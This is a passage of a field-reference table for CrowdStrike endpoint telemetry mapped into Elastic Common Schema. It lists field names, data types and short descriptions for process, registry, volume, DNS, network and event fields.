boolean | -| crowdstrike.PatternDispositionFlags.SensorOnly | | boolean | -| crowdstrike.PatternDispositionFlags.SuspendParent | | boolean | -| crowdstrike.PatternDispositionFlags.SuspendProcess | | boolean | -| crowdstrike.PatternDispositionValue | | long | -| crowdstrike.PatternId | | keyword | -| crowdstrike.PatternIdList | | match_only_text | -| crowdstrike.PciAttachmentState | | keyword | -| crowdstrike.PciConfigDataBdsm | | match_only_text | -| crowdstrike.PciConfigDataBiosCntl | | match_only_text | -| crowdstrike.PciConfigDataGenPmconA | | match_only_text | -| crowdstrike.PciConfigDataGgc | | match_only_text | -| crowdstrike.PciConfigDataHfsts1 | | match_only_text | -| crowdstrike.PciConfigDataMesegBase | | match_only_text | -| crowdstrike.PciConfigDataRemapbase | | match_only_text | -| crowdstrike.PciConfigDataRemaplimit | | match_only_text | -| crowdstrike.PciConfigDataSmramc | | match_only_text | -| crowdstrike.PciConfigDataTom | | match_only_text | -| crowdstrike.PciConfigDataTouud | | match_only_text | -| crowdstrike.PciConfigDataTsegmb | | match_only_text | -| crowdstrike.Pcr0 | | match_only_text | -| crowdstrike.Pcr1 | | match_only_text | -| crowdstrike.Pcr2 | | match_only_text | -| crowdstrike.Pcr3 | | match_only_text | -| crowdstrike.Pcr4 | | match_only_text | -| crowdstrike.Pcr5 | | match_only_text | -| crowdstrike.Pcr6 | | match_only_text | -| crowdstrike.Pcr7 | | match_only_text | -| crowdstrike.PendingUpdateIds | | match_only_text | -| crowdstrike.PerformanceCounter | | keyword | -| crowdstrike.PermanentPhysicalAddress | | keyword | -| crowdstrike.PhysicalAddress | | keyword | -| crowdstrike.PhysicalAddressLength | | long | -| crowdstrike.PhysicalCoreCount | | long | -| crowdstrike.PhysicalMediumType | | keyword | -| crowdstrike.PlatformId | | keyword | -| crowdstrike.PlatformName | | keyword | -| crowdstrike.PointerSize | | keyword | -| crowdstrike.Policy.ID | | keyword | -| crowdstrike.Policy.Name | | keyword | -| crowdstrike.PolicyRuleSeverity | | long | -| crowdstrike.PreferredLifetime | | keyword | -| crowdstrike.PrefixLength | | keyword | -| crowdstrike.PrefixOrigin | | keyword | -| crowdstrike.Prevalence.Key | | keyword | -| crowdstrike.PreviousConnectTime | | date | -| crowdstrike.PreviousFileAttributesLinux | | keyword | -| crowdstrike.PreviousUnixPermissions | | keyword | -| crowdstrike.PrimaryModule | | keyword | -| crowdstrike.PrivilegedProcessHandleCount | | long | -| crowdstrike.PrivilegesBitmask | | keyword | -| crowdstrike.ProcessAttributes | | match_only_text | -| crowdstrike.ProcessCount | | long | -| crowdstrike.ProcessCreateFlags | | keyword | -| crowdstrike.ProcessId | | long | -| crowdstrike.ProcessParameterFlags | | keyword | -| crowdstrike.ProcessStartKey | | keyword | -| crowdstrike.ProcessSxsFlags | | keyword | -| crowdstrike.ProcessorPackageCount | | long | -| crowdstrike.ProductType | | keyword | -| crowdstrike.ProtectVirtualMemoryCount | | long | -| crowdstrike.ProvisionState | | keyword | -| crowdstrike.PublicKeys | | keyword | -| crowdstrike.PupAdwareConfidence | | keyword | -| crowdstrike.PupAdwareDecisionValue | | keyword | -| crowdstrike.QuarantinedFileExtendedState | | match_only_text | -| crowdstrike.QuarantinedFileName | | match_only_text | -| crowdstrike.QuarantinedFileState | | match_only_text | -| crowdstrike.QueryStatus | | integer | -| crowdstrike.QueueApcCount | | long | -| crowdstrike.RFMState | | keyword | -| crowdstrike.RGID | | keyword | -| crowdstrike.RPath | | match_only_text | -| crowdstrike.RTRState | | keyword | -| crowdstrike.RUID | | keyword | -| crowdstrike.RawThreadId | | keyword | -| crowdstrike.ReachableTime | | keyword | -| crowdstrike.ReasonOfFunctionalityLevel | | keyword | -| crowdstrike.ReceiveLinkSpeed | | keyword | -| crowdstrike.ReferrerUrl | | keyword | -| crowdstrike.RegBinaryValue | | match_only_text | -| crowdstrike.RegClassification | | keyword | -| crowdstrike.RegClassificationFlags | | keyword | -| crowdstrike.RegClassificationIndex | | keyword | -| crowdstrike.RegConfigClass | | keyword | -| crowdstrike.RegConfigFlags | | keyword | -| crowdstrike.RegConfigIndex | | keyword | -| crowdstrike.RegConfigValueType | | keyword | -| crowdstrike.RegCreateDisposition | | match_only_text | -| crowdstrike.RegCreateOptions | | match_only_text | -| crowdstrike.RegKeySecurityDecreasedCount | | long | -| crowdstrike.RegObjectName | | keyword | -| crowdstrike.RegOperationType | | keyword | -| crowdstrike.RegPostObjectName | | match_only_text | -| crowdstrike.RegRootObjectName | | match_only_text | -| crowdstrike.RegStringValue | | match_only_text | -| crowdstrike.RegType | | keyword | -| crowdstrike.RegValueName | | keyword | -| crowdstrike.RelatedClassifications.ID | | keyword | -| crowdstrike.RelatedClassifications.Name | | keyword | -| crowdstrike.RemoteAccount | | keyword | -| crowdstrike.RemoteAddressMaskIP4 | | keyword | -| crowdstrike.RemoteAddressMaskIP6 | | keyword | -| crowdstrike.RemoteAddressString | | keyword | -| crowdstrike.RemovableDiskFileWrittenCount | | long | -| crowdstrike.RequestType | | keyword | -| crowdstrike.ResendToCloud | | keyword | -| crowdstrike.ResourceAttributes | | flattened | -| crowdstrike.ResourceCreateTime | | date | -| crowdstrike.ResourceId | | keyword | -| crowdstrike.ResourceIdType | | keyword | -| crowdstrike.RespondingDnsServer | | keyword | -| crowdstrike.ResponseAction | | keyword | -| crowdstrike.RetransmitTime | | keyword | -| crowdstrike.RootPath | | keyword | -| crowdstrike.RouteAge | | keyword | -| crowdstrike.RouteMetric | | keyword | -| crowdstrike.RouteOrigin | | keyword | -| crowdstrike.RouterDiscoveryBehavior | | keyword | -| crowdstrike.RpcClientProcessId | | keyword | -| crowdstrike.RpcClientThreadId | | keyword | -| crowdstrike.RpcNestingLevel | | keyword | -| crowdstrike.RpcOpClassification | | match_only_text | -| crowdstrike.RpcOpNum | | keyword | -| crowdstrike.RuleId | | keyword | -| crowdstrike.RunDllInvocationCount | | long | -| crowdstrike.SHA1HashData | | keyword | -| crowdstrike.SHA1String | | keyword | -| crowdstrike.SHA256HashData | | keyword | -| crowdstrike.SHA256String | | keyword | -| crowdstrike.SVGID | | keyword | -| crowdstrike.SVUID | | keyword | -| crowdstrike.SamAccountName | | match_only_text | -| crowdstrike.ScopeLevel | | keyword | -| crowdstrike.ScopeZone | | keyword | -| crowdstrike.ScreenshotType | | keyword | -| crowdstrike.ScreenshotsTakenCount | | long | -| crowdstrike.ScriptContent | | match_only_text | -| crowdstrike.ScriptContentBytes | | match_only_text | -| crowdstrike.ScriptContentName | | keyword | -| crowdstrike.ScriptContentScanId | | match_only_text | -| crowdstrike.ScriptControlErrorCode | | keyword | -| crowdstrike.ScriptEngineInvocationCount | | long | -| crowdstrike.ScriptingLanguageId | | keyword | -| crowdstrike.SecurityInformationLinux | | keyword | -| crowdstrike.SensorGroupingTags | | keyword | -| crowdstrike.SensorId | | keyword | -| crowdstrike.SensorStateBitMap | | keyword | -| crowdstrike.ServiceAccessPropertiesEtw | | match_only_text | -| crowdstrike.ServiceCurrentState | | keyword | -| crowdstrike.ServiceDelayedAutoStart | | match_only_text | -| crowdstrike.ServiceDependOnService | | match_only_text | -| crowdstrike.ServiceDescription | | keyword | -| crowdstrike.ServiceDisplayName | | keyword | -| crowdstrike.ServiceErrorControl | | keyword | -| crowdstrike.ServiceEventCount | | long | -| crowdstrike.ServiceFailureActions | | keyword | -| crowdstrike.ServiceImagePath | | keyword | -| crowdstrike.ServicePackMajor | | keyword | -| crowdstrike.ServiceSecurity | | keyword | -| crowdstrike.ServiceStart | | keyword | -| crowdstrike.ServiceType | | keyword | -| crowdstrike.SessionId | | keyword | -| crowdstrike.SessionProcessId | | keyword | -| crowdstrike.SetThreadContextCount | | long | -| crowdstrike.Severity | | integer | -| crowdstrike.SeverityName | | keyword | -| crowdstrike.ShannonEntropy | | keyword | -| crowdstrike.ShareAccess | | keyword | -| crowdstrike.ShareName | | keyword | -| crowdstrike.ShareSecurity | | keyword | -| crowdstrike.ShareSecuritySddl | | keyword | -| crowdstrike.SignInfoFlags | | keyword | -| crowdstrike.SignatureErrorState | | keyword | -| crowdstrike.SignatureState | | keyword | -| crowdstrike.SiteName | | keyword | -| crowdstrike.SitePrefixLength | | keyword | -| crowdstrike.Size | | long | -| crowdstrike.SkipAsSource | | keyword | -| crowdstrike.SmbClientName | | keyword | -| crowdstrike.SmbShareName | | keyword | -| crowdstrike.SnapshotFileOpenCount | | long | -| crowdstrike.SourceAccountDomain | | keyword | -| crowdstrike.SourceAccountObjectGuid | | keyword | -| crowdstrike.SourceAccountObjectSid | | keyword | -| crowdstrike.SourceAccountSamAccountName | | keyword | -| crowdstrike.SourceEndpointAccountObjectGuid | | keyword | -| crowdstrike.SourceEndpointAccountObjectSid | | keyword | -| crowdstrike.SourceEndpointAddressIP4 | | keyword | -| crowdstrike.SourceEndpointHostName | | keyword | -| crowdstrike.SourceEndpointNetworkTag | | keyword | -| crowdstrike.SourceEndpointNetworkType | | keyword | -| crowdstrike.SourceEventUniqueId | | keyword | -| crowdstrike.SourceFileName | | keyword | -| crowdstrike.SourceProcessId | | keyword | -| crowdstrike.SourceProducts | | keyword | -| crowdstrike.SourceThreadId | | keyword | -| crowdstrike.SourceThreadModule | | match_only_text | -| crowdstrike.SourceThreadStartAddress | | keyword | -| crowdstrike.SourceVendors | | keyword | -| crowdstrike.SpibarDataBfpr | | match_only_text | -| crowdstrike.SpibarDataFreg0 | | match_only_text | -| crowdstrike.SpibarDataFreg1 | | match_only_text | -| crowdstrike.SpibarDataFreg2 | | match_only_text | -| crowdstrike.SpibarDataFreg3 | | match_only_text | -| crowdstrike.SpibarDataFreg4 | | match_only_text | -| crowdstrike.SpibarDataHsfs | | match_only_text | -| crowdstrike.SpibarDataPr0 | | match_only_text | -| crowdstrike.SpibarDataPr1 | | match_only_text | -| crowdstrike.SpibarDataPr2 | | match_only_text | -| crowdstrike.SpibarDataPr3 | | match_only_text | -| crowdstrike.SpibarDataPr4 | | match_only_text | -| crowdstrike.SpibarDataVscc0 | | match_only_text | -| crowdstrike.SpibarDataVscc1 | | match_only_text | -| crowdstrike.StartTime | | date | -| crowdstrike.Status | | keyword | -| crowdstrike.StorageUsageInfo | | match_only_text | -| crowdstrike.SubStatus | | keyword | -| crowdstrike.SubjectDomainNameEtw | | match_only_text | -| crowdstrike.SuffixOrigin | | keyword | -| crowdstrike.SuppressType | | keyword | -| crowdstrike.Suppression.Suppressed | | boolean | -| crowdstrike.SuspectStackCount | | long | -| crowdstrike.SuspiciousCredentialModuleLoadCount | | long | -| crowdstrike.SuspiciousDnsRequestCount | | long | -| crowdstrike.SuspiciousFontLoadCount | | long | -| crowdstrike.SuspiciousRawDiskReadCount | | long | -| crowdstrike.SymbolicLinkName | | keyword | -| crowdstrike.SymbolicLinkTarget | | keyword | -| crowdstrike.SyntheticPR2Flags | | keyword | -| crowdstrike.SystemManufacturer | | keyword | -| crowdstrike.SystemProcessCount | | match_only_text | -| crowdstrike.SystemProductName | | keyword | -| crowdstrike.SystemSerialNumber | | keyword | -| crowdstrike.SystemSku | | keyword | -| crowdstrike.SystemTableIndex | | long | -| crowdstrike.Tactic | | keyword | -| crowdstrike.Tags | | keyword | -| crowdstrike.TargetAuthenticationId | | keyword | -| crowdstrike.TargetCommandLineParameters | | keyword | -| crowdstrike.TargetDomainControllerObjectGuid | | keyword | -| crowdstrike.TargetDomainControllerObjectSid | | keyword | -| crowdstrike.TargetFileName | | keyword | -| crowdstrike.TargetIntegrityLevel | | keyword | -| crowdstrike.TargetProcessCommandLine | | keyword | -| crowdstrike.TargetProcessImageFileName | | keyword | -| crowdstrike.TargetSHA256HashData | | keyword | -| crowdstrike.TargetThreadId | | keyword | -| crowdstrike.TargetThreadModule | | keyword | -| crowdstrike.TaskAuthor | | keyword | -| crowdstrike.TaskExecArguments | | keyword | -| crowdstrike.TaskExecCommand | | keyword | -| crowdstrike.TaskName | | keyword | -| crowdstrike.TaskXml | | match_only_text | -| crowdstrike.Technique | | keyword | -| crowdstrike.TemplateDisposition | | keyword | -| crowdstrike.TemplateInstanceId | | keyword | -| crowdstrike.ThreadStartAddress | | keyword | -| crowdstrike.ThreadStartBytes | | match_only_text | -| crowdstrike.ThreadStartContext | | keyword | -| crowdstrike.Timeout | | long | -| crowdstrike.TokenType | | keyword | -| crowdstrike.TotalCount | | long | -| crowdstrike.TransmitLinkSpeed | | keyword | -| crowdstrike.TreeId | | keyword | -| crowdstrike.TunnelType | | keyword | -| crowdstrike.Type | The endpoint detection type ("ldt": Legacy Endpoint Detection, or "ofp": Office Prevention Macro Detection). | keyword | -| crowdstrike.USN | | keyword | -| crowdstrike.UninstallPendingUpdateIds | | match_only_text | -| crowdstrike.UnixMode | | keyword | -| crowdstrike.UnsignedModuleLoadCount | | long | -| crowdstrike.UpdateFlag | | keyword | -| crowdstrike.UploadId | | keyword | -| crowdstrike.User | | keyword | -| crowdstrike.UserDepartment | | keyword | -| crowdstrike.UserFlags | | keyword | -| crowdstrike.UserGroupsBitmask | | keyword | -| crowdstrike.UserLogoffType | | keyword | -| crowdstrike.UserLogonFlags | | keyword | -| crowdstrike.UserLogonFlags_decimal | | keyword | -| crowdstrike.UserMapped | | boolean | -| crowdstrike.UserMemoryAllocateExecutableCount | | long | -| crowdstrike.UserMemoryAllocateExecutableRemoteCount | | long | -| crowdstrike.UserMemoryProtectExecutableCount | | long | -| crowdstrike.UserMemoryProtectExecutableRemoteCount | | long | -| crowdstrike.UserName | | keyword | -| crowdstrike.UserNotified | | boolean | -| crowdstrike.UserRid | | keyword | -| crowdstrike.UserSid | | keyword | -| crowdstrike.UserSid_readable | | keyword | -| crowdstrike.UserThread | | keyword | -| crowdstrike.UserTime | | long | -| crowdstrike.UserTitle | | keyword | -| crowdstrike.ValidLifetime | | keyword | -| crowdstrike.VerifiedCertificate | | keyword | -| crowdstrike.VersionInfo | | match_only_text | -| crowdstrike.VnodeModificationType | | keyword | -| crowdstrike.VnodeType | | keyword | -| crowdstrike.VolumeAppearanceTime | | keyword | -| crowdstrike.VolumeBusName | | keyword | -| crowdstrike.VolumeBusPath | | keyword | -| crowdstrike.VolumeDeviceCharacteristics | | keyword | -| crowdstrike.VolumeDeviceInternal | | keyword | -| crowdstrike.VolumeDeviceModel | | keyword | -| crowdstrike.VolumeDeviceObjectFlags | | keyword | -| crowdstrike.VolumeDevicePath | | keyword | -| crowdstrike.VolumeDeviceProtocol | | keyword | -| crowdstrike.VolumeDeviceRevision | | keyword | -| crowdstrike.VolumeDeviceType | | keyword | -| crowdstrike.VolumeDeviceVendor | | match_only_text | -| crowdstrike.VolumeDriveLetter | | keyword | -| crowdstrike.VolumeEncryptionStatus | | keyword | -| crowdstrike.VolumeFileSystemDevice | | keyword | -| crowdstrike.VolumeFileSystemDriver | | keyword | -| crowdstrike.VolumeFileSystemType | | keyword | -| crowdstrike.VolumeIsEncrypted | | keyword | -| crowdstrike.VolumeIsNetwork | | keyword | -| crowdstrike.VolumeLabel | | keyword | -| crowdstrike.VolumeMediaBSDMajor | | keyword | -| crowdstrike.VolumeMediaBSDMinor | | keyword | -| crowdstrike.VolumeMediaBSDName | | keyword | -| crowdstrike.VolumeMediaBSDUnit | | keyword | -| crowdstrike.VolumeMediaContent | | keyword | -| crowdstrike.VolumeMediaEjectable | | keyword | -| crowdstrike.VolumeMediaName | | keyword | -| crowdstrike.VolumeMediaPath | | keyword | -| crowdstrike.VolumeMediaRemovable | | keyword | -| crowdstrike.VolumeMediaSize | | keyword | -| crowdstrike.VolumeMediaUUID | | keyword | -| crowdstrike.VolumeMediaWhole | | keyword | -| crowdstrike.VolumeMediaWritable | | keyword | -| crowdstrike.VolumeMountPoint | | keyword | -| crowdstrike.VolumeName | | keyword | -| crowdstrike.VolumeOriginPath | | match_only_text | -| crowdstrike.VolumeRealDeviceName | | keyword | -| crowdstrike.VolumeSectorSize | | keyword | -| crowdstrike.VolumeSessionUUID | | keyword | -| crowdstrike.VolumeSnapshotName | | match_only_text | -| crowdstrike.VolumeSnapshotTimeStamp | | match_only_text | -| crowdstrike.VolumeType | | keyword | -| crowdstrike.VolumeUUID | | keyword | -| crowdstrike.WindowFlags | | keyword | -| crowdstrike.WmiNamespaceName | | keyword | -| crowdstrike.WmiProviderName | | keyword | -| crowdstrike.WmiProviderType | | keyword | -| crowdstrike.WmiQuery | | keyword | -| crowdstrike.__mv_LocalAddressIP4 | | keyword | -| crowdstrike.__mv_aip | | keyword | -| crowdstrike.__mv_discoverer_aid | | keyword | -| crowdstrike.aid | | keyword | -| crowdstrike.aipCount | | integer | -| crowdstrike.assessments | | flattened | -| crowdstrike.attack_types | | keyword | -| crowdstrike.aws_account_id | | keyword | -| crowdstrike.cid | | keyword | -| crowdstrike.cis_benchmark_ids | | keyword | -| crowdstrike.cisa_benchmark_ids | | keyword | -| crowdstrike.cloud_asset_type | | long | -| crowdstrike.cloudplatform | | keyword | -| crowdstrike.compliance.benchmarkNames | | keyword | -| crowdstrike.compliance.frameworks | | keyword | -| crowdstrike.compliance.requirements | | keyword | -| crowdstrike.compliance.sections | | keyword | -| crowdstrike.compliance.versions | | keyword | -| crowdstrike.created | | date | -| crowdstrike.crn | | keyword | -| crowdstrike.discovererCount | | integer | -| crowdstrike.discoverer_aid | | keyword | -| crowdstrike.disposition | | keyword | -| crowdstrike.eid | | integer | -| crowdstrike.event-type | | keyword | -| crowdstrike.event_category | | keyword | -| crowdstrike.finding | | keyword | -| crowdstrike.findings.name | | keyword | -| crowdstrike.findings.value | | keyword | -| crowdstrike.firstDetected | | date | -| crowdstrike.hostname | | keyword | -| crowdstrike.id | | keyword | -| crowdstrike.info.host.\* | Host information enriched from aidmaster data. | object | -| crowdstrike.info.user.\* | User information enriched from userinfo data. | object | -| crowdstrike.internal_only | | boolean | -| crowdstrike.iso_benchmark_ids | | keyword | -| crowdstrike.lastDetected | | date | -| crowdstrike.legacyPolicyId | | long | -| crowdstrike.localipCount | | integer | -| crowdstrike.management_event | | boolean | -| crowdstrike.monthsincereset | | keyword | -| crowdstrike.name | | keyword | -| crowdstrike.nist_benchmark_ids | | keyword | -| crowdstrike.os_version | | keyword | -| crowdstrike.pci_benchmark_ids | | keyword | -| crowdstrike.policy_severity | | long | -| crowdstrike.product_type_desc | | keyword | -| crowdstrike.read_only | | boolean | -| crowdstrike.request_id | | keyword | -| crowdstrike.request_parameters | | keyword | -| crowdstrike.resource.captured | | date | -| crowdstrike.resource.legacyResourceId | | keyword | -| crowdstrike.resource.legacyResourceTypeId | | long | -| crowdstrike.resource.resourceId | | keyword | -| crowdstrike.resource.resourceType | | keyword | -| crowdstrike.resource_url | | keyword | -| crowdstrike.response_elements | | keyword | -| crowdstrike.revision | | long | -| crowdstrike.scores.modified_time | | date | -| crowdstrike.scores.os | | long | -| crowdstrike.scores.overall | | long | -| crowdstrike.scores.sensor | | long | -| crowdstrike.scores.version | | keyword | -| crowdstrike.service | | keyword | -| crowdstrike.soc2_benchmark_ids | | keyword | -| crowdstrike.status | | keyword | -| crowdstrike.subnet | | keyword | -| crowdstrike.url | | keyword | -| crowdstrike.user_identity_access_key_id | | keyword | -| crowdstrike.user_identity_account_id | | keyword | -| crowdstrike.user_identity_arn | | keyword | -| crowdstrike.user_identity_mfa_authenticated | | boolean | -| crowdstrike.vertex_id | | keyword | -| crowdstrike.vertex_type | | keyword | -| data_stream.dataset | Data stream dataset. | constant_keyword | -| data_stream.namespace | Data stream namespace. | constant_keyword | -| data_stream.type | Data stream type. | constant_keyword | -| destination.address | Some event destination addresses are defined ambiguously. The event will sometimes list an IP, a domain or a unix socket. You should always store the raw address in the `.address` field. Then it should be duplicated to `.ip` or `.domain`, depending on which one it is. | keyword | -| destination.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long | -| destination.as.organization.name | Organization name. | keyword | -| destination.as.organization.name.text | Multi-field of `destination.as.organization.name`. | match_only_text | -| destination.geo.city_name | City name. | keyword | -| destination.geo.continent_name | Name of the continent. | keyword | -| destination.geo.country_iso_code | Country ISO code. | keyword | -| destination.geo.country_name | Country name. | keyword | -| destination.geo.location | Longitude and latitude. | geo_point | -| destination.geo.region_iso_code | Region ISO code. | keyword | -| destination.geo.region_name | Region name. | keyword | -| destination.ip | IP address of the destination (IPv4 or IPv6). | ip | -| destination.port | Port of the destination. | long | -| device.id | The unique identifier of a device. The identifier must not change across application sessions but stay fixed for an instance of a (mobile) device. On iOS, this value must be equal to the vendor identifier (https://developer.apple.com/documentation/uikit/uidevice/1620059-identifierforvendor). On Android, this value must be equal to the Firebase Installation ID or a globally unique UUID which is persisted across sessions in your application. For GDPR and data protection law reasons this identifier should not carry information that would allow to identify a user. | keyword | -| dll.Ext.size | Size of DLL. | long | -| dns.question.name | The name being queried. If the name field contains non-printable characters (below 32 or above 126), those characters should be represented as escaped base 10 integers (\DDD). Back slashes and quotes should be escaped. Tabs, carriage returns, and line feeds should be converted to \t, \r, and \n respectively. | keyword | -| dns.question.registered_domain | The highest registered domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword | -| dns.question.subdomain | The subdomain is all of the labels under the registered_domain. If the domain has multiple levels of subdomain, such as "sub2.sub1.example.com", the subdomain field should contain "sub2.sub1", with no trailing period. | keyword | -| dns.question.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword | -| dns.question.type | The type of record being queried. | keyword | -| dns.type | The type of DNS event captured, query or answer. If your source of DNS events only gives you DNS queries, you should only create dns events of type `dns.type:query`. If your source of DNS events gives you answers as well, you should create one event per query (optionally as soon as the query is seen). And a second event containing all query details as well as an array of answers. | keyword | -| ecs.version | ECS version this event conforms to. `ecs.version` is a required field and must exist in all events. When querying across multiple indices -- which may conform to slightly different ECS versions -- this field lets integrations adjust to the schema version of the events. | constant_keyword | -| event.action | The action captured by the event. This describes the information in the event. It is more specific than `event.category`. Examples are `group-add`, `process-started`, `file-created`. The value is normally defined by the implementer. | keyword | -| event.category | This is one of four ECS Categorization Fields, and indicates the second level in the ECS category hierarchy. `event.category` represents the "big buckets" of ECS categories. For example, filtering on `event.category:process` yields all events relating to process activity. This field is closely related to `event.type`, which is used as a subcategory. This field is an array. This will allow proper categorization of some events that fall in multiple categories. | keyword | -| event.created | `event.created` contains the date/time when the event was first read by an agent, or by your pipeline. This field is distinct from `@timestamp` in that `@timestamp` typically contain the time extracted from the original event. In most situations, these two timestamps will be slightly different. The difference can be used to calculate the delay between your source generating an event, and the time when your agent first processed it. This can be used to monitor your agent's or pipeline's ability to keep up with your event source. In case the two timestamps are identical, `@timestamp` should be used. | date | -| event.dataset | Event dataset | constant_keyword | -| event.id | Unique ID to describe the event. | keyword | -| event.kind | This is one of four ECS Categorization Fields, and indicates the highest level in the ECS category hierarchy. `event.kind` gives high-level information about what type of information the event contains, without being specific to the contents of the event. For example, values of this field distinguish alert events from metric events. The value of this field can be used to inform how these kinds of events should be handled. They may warrant different retention, different access control, it may also help understand whether the data is coming in at a regular interval or not. | keyword | -| event.module | Event module | constant_keyword | -| event.original | Raw text message of entire event. Used to demonstrate log integrity or where the full log message (before splitting it up in multiple parts) may be required, e.g. for reindex. This field is not indexed and doc_values are disabled. It cannot be searched, but it can be retrieved from `_source`. If users wish to override this and index this field, please see `Field data types` in the `Elasticsearch Reference`. | keyword | -| event.outcome | This is one of four ECS Categorization Fields, and indicates the lowest level in the ECS category hierarchy. `event.outcome` simply denotes whether the event represents a success or a failure from the perspective of the entity that produced the event. Note that when a single transaction is described in multiple events, each event may populate different values of `event.outcome`, according to their perspective. Also note that in the case of a compound event (a single event that contains multiple logical events), this field should be populated with the value that best captures the overall success or failure from the perspective of the event producer. Further note that not all events will have an associated outcome. For example, this field is generally not populated for metric events, events with `event.type:info`, or any events for which an outcome does not make logical sense. | keyword | -| event.timezone | This field should be populated when the event's timestamp does not include timezone information already (e.g. default Syslog timestamps). It's optional otherwise. Acceptable timezone formats are: a canonical ID (e.g. "Europe/Amsterdam"), abbreviated (e.g. "EST") or an HH:mm differential (e.g. "-05:00"). | keyword | -| event.type | This is one of four ECS Categorization Fields, and indicates the third level in the ECS category hierarchy. `event.type` represents a categorization "sub-bucket" that, when used along with the `event.category` field values, enables filtering events down to a level appropriate for single visualization. This field is an array. This will allow proper categorization of some events that fall in multiple event types. | keyword | -| file.Ext.original.name | | keyword | -| file.Ext.original.path | | keyword | -| file.device | Device that is the source of the file. | keyword | -| file.directory | Directory where the file is located. It should include the drive letter, when appropriate. | keyword | -| file.drive_letter | Drive letter where the file is located. This field is only relevant on Windows. The value should be uppercase, and not include the colon. | keyword | -| file.extension | File extension, excluding the leading dot. Note that when the file name has multiple extensions (example.tar.gz), only the last one should be captured ("gz", not "tar.gz"). | keyword | -| file.hash.sha256 | SHA256 hash. | keyword | -| file.inode | Inode representing the file in the filesystem. | keyword | -| file.name | Name of the file including the extension, without the directory. | keyword | -| file.path | Full path to the file, including the file name. It should include the drive letter, when appropriate. | keyword | -| file.path.text | Multi-field of `file.path`. | match_only_text | -| file.size | File size in bytes. Only relevant when `file.type` is "file". | long | -| file.type | File type (file, dir, or symlink). | keyword | -| group.Ext.real.id | Unique identifier for the group on the system/platform. | keyword | -| group.id | Unique identifier for the group on the system/platform. | keyword | -| host.domain | Name of the domain of which the host is a member. For example, on Windows this could be the host's Active Directory domain or NetBIOS domain name. For Linux this could be the domain of the host's LDAP provider. | keyword | -| host.geo.city_name | City name. | keyword | -| host.geo.continent_name | Name of the continent. | keyword | -| host.geo.country_name | Country name. | keyword | -| host.geo.timezone | The time zone of the location, such as IANA time zone name. | keyword | -| host.hostname | Hostname of the host. It normally contains what the `hostname` command returns on the host machine. | keyword | -| host.ip | Host ip addresses. | ip | -| host.name | Name of the host. It can contain what hostname returns on Unix systems, the fully qualified domain name (FQDN), or a name specified by the user. The recommended value is the lowercase FQDN of the host. | keyword | -| host.os.type | Use the `os.type` field to categorize the operating system into one of the broad commercial families. If the OS you're dealing with is not listed as an expected value, the field should not be populated. Please let us know by opening an issue with ECS, to propose its addition. | keyword | -| host.os.version | Operating system version as a raw string. | keyword | -| input.type | | keyword | -| log.file.path | Full path to the log file this event came from, including the file name. It should include the drive letter, when appropriate. If the event wasn't read from a log file, do not populate this field. | keyword | -| log.offset | | long | -| network.community_id | A hash of source and destination IPs and ports, as well as the protocol used in a communication. This is a tool-agnostic standard to identify flows. Learn more at https://github.com/corelight/community-id-spec. | keyword | -| network.direction | Direction of the network traffic. When mapping events from a host-based monitoring context, populate this field from the host's point of view, using the values "ingress" or "egress". When mapping events from a network or perimeter-based monitoring context, populate this field from the point of view of the network perimeter, using the values "inbound", "outbound", "internal" or "external". Note that "internal" is not crossing perimeter boundaries, and is meant to describe communication between two hosts within the perimeter. Note also that "external" is meant to describe traffic between two hosts that are external to the perimeter. This could for example be useful for ISPs or VPN service providers. | keyword | -| network.iana_number | IANA Protocol Number (https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml). Standardized list of protocols. This aligns well with NetFlow and sFlow related logs which use the IANA Protocol Number. | keyword | -| network.transport | Same as network.iana_number, but instead using the Keyword name of the transport layer (udp, tcp, ipv6-icmp, etc.) The field value must be normalized to lowercase for querying. | keyword | -| observer.address | | keyword | -| observer.geo.city_name | City name. | keyword | -| observer.geo.continent_name | Name of the continent. | keyword | -| observer.geo.country_iso_code | Country ISO code. | keyword | -| observer.geo.country_name | Country name. | keyword | -| observer.geo.location | Longitude and latitude. | geo_point | -| observer.geo.region_iso_code | Region ISO code. | keyword | -| observer.geo.region_name | Region name. | keyword | -| observer.ip | IP addresses of the observer. | ip | -| observer.serial_number | Observer serial number. | keyword | -| observer.type | The type of the observer the data is coming from. There is no predefined list of observer types. Some examples are `forwarder`, `firewall`, `ids`, `ips`, `proxy`, `poller`, `sensor`, `APM server`. | constant_keyword | -| observer.vendor | Vendor name of the observer. | constant_keyword | -| observer.version | Observer version. | keyword | -| process.Ext.token.integrity_level_name | Human readable integrity level. | keyword | -| process.args | Array of process arguments, starting with the absolute path to the executable. May be filtered to protect sensitive information. | keyword | -| process.args_count | Length of the process.args array. This field can be useful for querying or performing bucket analysis on how many arguments were provided to start a process. More arguments may be an indication of suspicious activity. | long | -| process.command_line | Full command line that started the process, including the absolute path to the executable, and all arguments. Some arguments may be filtered to protect sensitive information. | wildcard | -| process.command_line.text | Multi-field of `process.command_line`. | match_only_text | -| process.end | The time the process ended. | date | -| process.entity_id | Unique identifier for the process. The implementation of this is specified by the data source, but some examples of what could be used here are a process-generated UUID, Sysmon Process GUIDs, or a hash of some uniquely identifying components of a process. Constructing a globally unique identifier is a common practice to mitigate PID reuse as well as to identify a specific process over time, across multiple monitored hosts. | keyword | -| process.executable | Absolute path to the process executable. | keyword | -| process.executable.caseless | Multi-field of `process.executable`. | keyword | -| process.executable.text | Multi-field of `process.executable`. | match_only_text | -| process.exit_code | The exit code of the process, if this is a termination event. The field should be absent if there is no exit code for the event (e.g. process start). | long | -| process.group.id | | keyword | -| process.hash.md5 | MD5 hash. | keyword | -| process.hash.sha256 | SHA256 hash. | keyword | -| process.name | Process name. Sometimes called program name or similar. | keyword | -| process.name.caseless | Multi-field of `process.name`. | keyword | -| process.name.text | Multi-field of `process.name`. | match_only_text | -| process.parent.entity_id | Unique identifier for the process. The implementation of this is specified by the data source, but some examples of what could be used here are a process-generated UUID, Sysmon Process GUIDs, or a hash of some uniquely identifying components of a process. Constructing a globally unique identifier 